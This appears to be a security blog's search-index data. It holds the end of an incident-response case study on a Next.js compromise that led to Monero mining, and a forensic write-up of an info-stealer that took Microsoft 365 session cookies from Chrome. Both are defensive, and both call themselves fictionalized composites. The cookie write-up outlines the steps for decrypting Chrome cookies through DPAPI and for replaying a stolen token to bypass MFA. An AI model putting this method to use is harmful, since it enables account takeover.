permits, collect evidence before terminating processes:\nmkdir -p /tmp/ir_{processes,network,files,memory} # Process state ps auxf \u0026gt; /tmp/ir_processes/ps_auxf.txt pstree -a -p \u0026gt; /tmp/ir_processes/pstree.txt # Network state ss -tunap \u0026gt; /tmp/ir_network/ss_tunap.txt netstat -anp \u0026gt; /tmp/ir_network/netstat.txt # User persistence crontab -l \u0026gt; /tmp/ir_files/crontab_user.txt systemctl --user list-units \u0026gt; /tmp/ir_files/systemd_user_units.txt # File samples (if safe to collect) cp /home/[redacted]/.cache/.sys* /tmp/ir_files/ 2\u0026gt;/dev/null If a process is running from a deleted file handle, you may be able to extract it from /proc/\u0026lt;pid\u0026gt;/fd/\u0026lt;n\u0026gt; or /proc/\u0026lt;pid\u0026gt;/exe before termination.\nLessons Worth Keeping # Patch latency on internet-facing frameworks is an attacker advantage\nThe dwell time began during a period of active exploitation following public disclosure and widespread scanning of affected RSC deployments.\nEgress monitoring is a primary detection control\nMining pool connections were the most reliable long-term signal.\n\u0026ldquo;Boring\u0026rdquo; directories deserve first-class threat hunting\n~/.cache and /dev/shm are attacker favorites for good reason.\nPublic exploit release + unpatched edge service = predictable compromise\nOnce vulnerability details and scanning tools are public, the window for exploitation is measured in hours, not weeks.\nCryptomining is often just the visible payload\nThe DDoS trojan was dormant but deployed—keep hunting for parallel objectives.\nIf you cannot answer \u0026ldquo;how does it persist?\u0026rdquo; you are not done yet\nKilling processes without removing persistence mechanisms guarantees reinfection.\nCorrelation beats individual signals\nNo single indicator was definitive, but the pattern was unmistakable: high CPU + suspicious paths + mining pool traffic.\nThe incident closed with eradication, but the bigger win was converting forensic findings into durable detections and hardening controls. Final Thoughts # The attacker did not need custom zero-days or elite malware. They needed:\nOne exploitable web path One writable account context Enough time Once the CVE-to-backdoor correlation was confirmed, the pattern became clear: exploit, persist, monetize, blend in.\nThe corrective path is equally clear:\nPatch faster Restrict egress Monitor execution in user-writable paths Treat weak signals as a chain instead of isolated events Audit application code for suspicious patterns This incident reinforced a core principle: defenders don\u0026rsquo;t need to catch everything, but they need to catch the combination before it costs weeks of dwell time.\nDisclaimer: This case study is a fictionalized composite based on patterns observed across multiple security engagements. All client-identifying information, organization names, infrastructure details, and personally identifiable data have been redacted, anonymized, or fabricated. Any resemblance to specific organizations, individuals, or incidents is purely coincidental. Technical details have been generalized for educational purposes and do not represent any single client\u0026rsquo;s environment. This content is published in accordance with professional confidentiality obligations and non-disclosure agreements. Nothing in this article should be construed as attribution to any specific entity. ","date":"8 February 2026","externalUrl":null,"permalink":"/posts/rce-to-xmrig/","section":"Posts","summary":" What started as “why is CPU hot again?” ended with a full kill-chain reconstruction: public Next.js RSC RCE exploit, in-memory shell, persistent toolers.cjs backdoor, then 28 days of Monero mining plus a dormant DDoS payload.\n","title":"From RSC to XMRig: Anatomy of a 28-Day Next.js Compromise","type":"posts"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/incident-response/","section":"Tags","summary":"","title":"Incident Response","type":"tags"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/malware-analysis/","section":"Tags","summary":"","title":"Malware Analysis","type":"tags"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/next.js/","section":"Tags","summary":"","title":"Next.js","type":"tags"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/categories/security-research/","section":"Categories","summary":"","title":"Security Research","type":"categories"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/soc/","section":"Tags","summary":"","title":"SOC","type":"tags"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/threat-hunting/","section":"Tags","summary":"","title":"Threat Hunting","type":"tags"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/xmrig/","section":"Tags","summary":"","title":"XMRig","type":"tags"},{"content":" What looked like a simple setup.exe turned out to be a stealthy info-stealer that stole Microsoft 365 session tokens from Chrome cookies — completely bypassing MFA. Here\u0026rsquo;s the full forensic breakdown. Introduction # Suspicious login activity was observed from multiple geographic regions, inconsistent with known user behavior.\nEarlier this month, our team investigated a real-world malware incident involving the theft of Microsoft 365 session tokens via Chrome cookies. What initially appeared to be a harmless setup executable turned out to be a stealthy info-stealer equipped with anti-debugging, obfuscation, and exfiltration capabilities.\nThis writing walks you through the forensic and reverse engineering process that uncovered the malicious payload, how it stole Microsoft session data, and why polymorphic delivery made it difficult to detect.\nIncident Background # The investigation was triggered by an unusual spike in Azure billing, which showed excessive compute charges within a single day. Further investigation revealed that a significant amount of computing power had been used at full capacity for several hours — a pattern commonly associated with unauthorized cryptocurrency mining activity.\nSuspicious login activity was observed from unusual locations, including instances of impossible travel within short timeframes. As a containment measure, the Azure account was immediately disabled. This incident prompted a full forensic investigation of the suspected user endpoint.\nDuring the investigation:\nThe user had administrative privileges on a Windows 10 machine. This elevated access likely allowed the malware to retrieve browser tokens and maintain persistence without being blocked. Chrome browser history revealed the victim had accessed a malicious website disguised as a software repository. Instead of receiving the expected utility, a file named setup.exe was downloaded and executed. The file came from a polymorphic URL — every download produced an executable with a different hash, complicating detection and reputation-based blocking. None of the hashes we captured were present on VirusTotal at the time of analysis. This chain of events led to the discovery of an info-stealer malware that exfiltrated browser session cookies, including tokens associated with Microsoft 365 authentication.\nMalware Dissection: setup.exe # Using CAPA, FLOSS and other tools, we confirmed the binary\u0026rsquo;s behavior matched a classic credential-stealing infostealer, with multiple layers of stealth and evasion.\nKey Capabilities # Behavior Evidence ATT\u0026amp;CK Technique Anti-Debugging/Sandbox Evasion INT3 breakpoints, TLS callbacks, Xen check T1497.001 Obfuscation Stack strings, Base64, XOR (63 matches) T1027, T1027.005 Credential Theft Chrome file access + CryptUnprotectData T1555.003 File Timestomping Uses SetFileTime to hide file modification T1070.006 Exfiltration HTTPS C2 with encoded payloads T1041, T1071.001 Credit Card Validation Luhn algorithm present C0032.002 Additional artifacts:\nNo GUI (silent execution) RC4, XOR, and Base64 encoding are used to obfuscate network payloads Used ShellExecuteEx to spawn additional tools or commands Forensic \u0026amp; Behavioral Analysis # Chrome Artifact Inspection # The History and Downloads SQLite databases confirmed that the user had accessed a rogue software site, consistent with the timeline of the Azure abuse. The Chrome Cookies SQLite database revealed stored session tokens for: login.microsoftonline.com ESTSAUTHPERSISTENT — a persistent Microsoft 365/Azure Entra ID session token that enables seamless reauthentication. What is ESTSAUTHPERSISTENT? # The ESTSAUTHPERSISTENT cookie is a persistent version of the Azure Entra ID session token. It is set when a user selects \u0026ldquo;Stay signed in?\u0026rdquo;, or when organizational policies enforce KMSI (Keep Me Signed In). Once set, this cookie remains valid across browser restarts and often for as long as 90 days, unless revoked or invalidated by policy changes, password resets, or session termination.\nMicrosoft Azure\u0026rsquo;s Stay Signed In Prompt. Image Source: Varonis\u0026rsquo;s Cookie Bite report This cookie acts as a high-privilege session credential that tells Azure Entra ID:\n\u0026ldquo;This user already authenticated (including MFA), so do not prompt again.\u0026rdquo;\nIf an attacker exfiltrates this cookie, they can fully impersonate the user without needing the password or triggering MFA — effectively bypassing all login barriers. This behavior aligns with the detailed breakdown in Varonis\u0026rsquo;s Cookie Bite report, which warns that ESTSAUTHPERSISTENT tokens are \u0026ldquo;keys to the kingdom.\u0026rdquo;\nWhy \u0026ldquo;Stay Signed In\u0026rdquo; is Risky # The \u0026ldquo;Stay signed in?\u0026rdquo; prompt significantly increases convenience, but greatly reduces session security. These tokens persist beyond logout or browser closure They are vulnerable to local theft via malware (as seen in this case) Once stolen, they allow MFA bypass and persistent access for weeks or months Traditional log correlation and alerts may fail to detect misuse if replayed from similar browser environments Best Practice: Unless organizational policy enforces secure handling and endpoint hardening, users should avoid selecting \u0026ldquo;Stay signed in,\u0026rdquo; especially on unmanaged or personal devices.\nMemory \u0026amp; Disk Forensics # Procmon logs captured setup.exe accessing the Chrome cookie storage file:\nC:\\Users\\\u0026lt;User\u0026gt;\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies Wireshark logs revealed outbound HTTPS communication occurring within seconds of the cookie access, strongly indicating a real-time exfiltration attempt.\nWhile we confirmed the use of encoding techniques such as Base64 and XOR within the binary, these obfuscation layers have thus far prevented conclusive identification of the Command-and-Control (C2) server or the exact destination URLs/IPs involved in data exfiltration.\nAlthough a handful of external IP addresses have been identified in the traffic logs, additional investigation and correlation are still in progress to confirm their role in the attack.\nDespite these unresolved questions, the evidence from decrypted cookies, session replay, and matching behavioral traces clearly confirms the exfiltration and reuse of the victim\u0026rsquo;s Microsoft 365 session cookie. Cookie Theft In Action # The malware leveraged the Windows API function CryptUnprotectData to decrypt Chrome\u0026rsquo;s encrypted cookie jar. Among the cookies accessed was the critical: ESTSAUTHPERSISTENT\nThis cookie is a persistent Azure Entra ID (formerly AAD) session token that effectively acts as a long-lived authentication credential. Once obtained, it bypasses password prompts and Multi-Factor Authentication (MFA), which grants malicious actors access to the Azure Portal, without alerting the user or triggering additional login challenges.\nFor an excellent breakdown of how this token works and why it\u0026rsquo;s dangerous, see Varonis\u0026rsquo;s article: Cookie Bite.\nHow Was the Cookie Decrypted? # Contrary to what one might expect, decrypting Chrome cookies on Windows is relatively straightforward if done locally on the infected system:\nStep 1: Locate Cookie Database Chrome stores session cookies in an encrypted SQLite database at: C:\\Users\\\u0026lt;User\u0026gt;\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies Step 2: Extract the Encryption Key The AES encryption key is stored in a Local State JSON file under the user's Chrome profile. Step 3: Decrypt via DPAPI The key is encrypted using Windows DPAPI. Malware running in the same user session can decrypt it without special privileges. Step 4: Decrypt Cookies With the key obtained, the malware decrypts cookie values (typically AES-GCM) from the SQLite database. In short: No special privileges are needed — just local access to the victim\u0026rsquo;s session, which the malware already has.\nConfirming the Theft # From the original forensic image of the victim machine, we created a fresh cloned working copy in a controlled analysis environment to prevent contamination or tampering. This replica allowed us to operate in a safe sandboxed state while preserving forensic integrity.\nAfter identifying the presence of the ESTSAUTHPERSISTENT token in Chrome\u0026rsquo;s cookie store, we disabled the affected user\u0026rsquo;s Azure account to ensure no further unauthorized access could occur during analysis.\nOnce containment was in place, we proceeded to:\nExtract the ESTSAUTHPERSISTENT cookie value for the login.microsoftonline.com domain from Chrome. Replay the token in a fresh browser session on the cloned image, simulating what an attacker would do with exfiltrated credentials. This test resulted in a successful reauthentication to the Microsoft 365 and Azure portals without requiring a password or triggering MFA. The token established a valid user session, and the session identifiers and access patterns matched those seen during the attack window, confirming that the token was indeed exfiltrated and reused by the attacker.\nThis exercise provided definitive proof that the malware obtained and exfiltrated an active authentication token, allowing it to bypass all login protections and operate within the victim\u0026rsquo;s cloud environment undetected. Why Detection Failed # Challenge Why It Mattered Polymorphic Delivery Each download generated a unique setup.exe with different hashes No AV Signatures None of the samples were flagged on VirusTotal at the time of the attack Stealth Design Anti-debugging, timestamp tampering, no GUI, and minimal disk I/O Preventive Actions # To avoid the recurrence of similar incidents, we suggested proactively implementing the following measures:\nAzure Monitoring and Alerts # Configured billing threshold alerts to detect sudden spikes in resource usage Set up anomaly detection for sign-ins from outside authorized geographic regions Alerts for repeated failed logins and risky user behavior via Microsoft\u0026rsquo;s security risk model Azure AD Hardening # Conducted a full audit of Azure Active Directory user roles Restricted administrative write permissions to only necessary accounts following the principle of least privilege Recommended upgrading to the Azure AD Premium P2 license to enforce Conditional Access, Identity Protection, and advanced security controls Organization-Wide Security Hardening # Further suggestions for the organization are to roll out a multi-layered security initiative:\nEndpoint Hardening Monitoring \u0026amp; Detection Awareness \u0026amp; Governance OS Hardening Across Endpoints\nImplementing OpenSCAP/SCAP benchmark policies for compliance and configuration baseline enforcement Continuous audit and validation using automated scans on employee workstations Security Monitoring and Detection\nDeploying Wazuh/SIEM across critical systems for host-based intrusion detection and audit log monitoring Deploying Next-Gen Firewalls with IPS/IDS, application control, and outbound C2 traffic inspection Deploying endpoint security applications and establishing a security program Security Awareness and Governance\nLaunching a formal Cybersecurity Training Program for all employees to raise awareness around phishing, malware, and data handling best practices Drafting and enforcing internal security policies to comply with recognized information security standards (e.g., ISO 27001, CIS) Final Thoughts # This case is a textbook example of how attackers are evolving from phishing to token-based session hijacking. By avoiding passwords altogether and stealing persistent tokens, they can operate without tripping traditional alarms.\nInfostealers are getting stealthier — and defending against them requires a combination of:\nEndpoint monitoring — catch the cookie access before exfiltration Credential hygiene — avoid \u0026ldquo;Stay signed in\u0026rdquo; on unmanaged devices Awareness — cookies are just as valuable as passwords Disclaimer: This case study is a fictionalized composite based on patterns observed across multiple security engagements. All client-identifying information, organization names, infrastructure details, and personally identifiable data have been redacted, anonymized, or fabricated. Any resemblance to specific organizations, individuals, or incidents is purely coincidental. Technical details have been generalized for educational purposes and do not represent any single client\u0026rsquo;s environment. This content is published in accordance with professional confidentiality obligations and non-disclosure agreements. Nothing in this article should be construed as attribution to any specific entity. ","date":"1 February 2026","externalUrl":null,"permalink":"/posts/cookie-heist/","section":"Posts","summary":" What looked like a simple setup.exe turned out to be a stealthy info-stealer that stole Microsoft 365 session tokens from Chrome cookies — completely bypassing MFA. Here’s the full forensic breakdown. Introduction # Suspicious login activity was observed from multiple geographic regions, inconsistent with known user behavior.\n","title":"Anatomy of a Cookie Heist — Reverse Engineering an Info-Stealer","type":"posts"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/azure/","section":"Tags","summary":"","title":"Azure","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/chrome-cookies/","section":"Tags","summary":"","title":"Chrome Cookies","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/digital-forensics/","section":"Tags","summary":"","title":"Digital Forensics","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/infostealer/","section":"Tags","summary":"","title":"Infostealer","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/malware/","section":"Tags","summary":"","title":"Malware","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/microsoft-365/","section":"Tags","summary":"","title":"Microsoft 365","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/threat-analysis/","section":"Tags","summary":"","title":"Threat Analysis","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]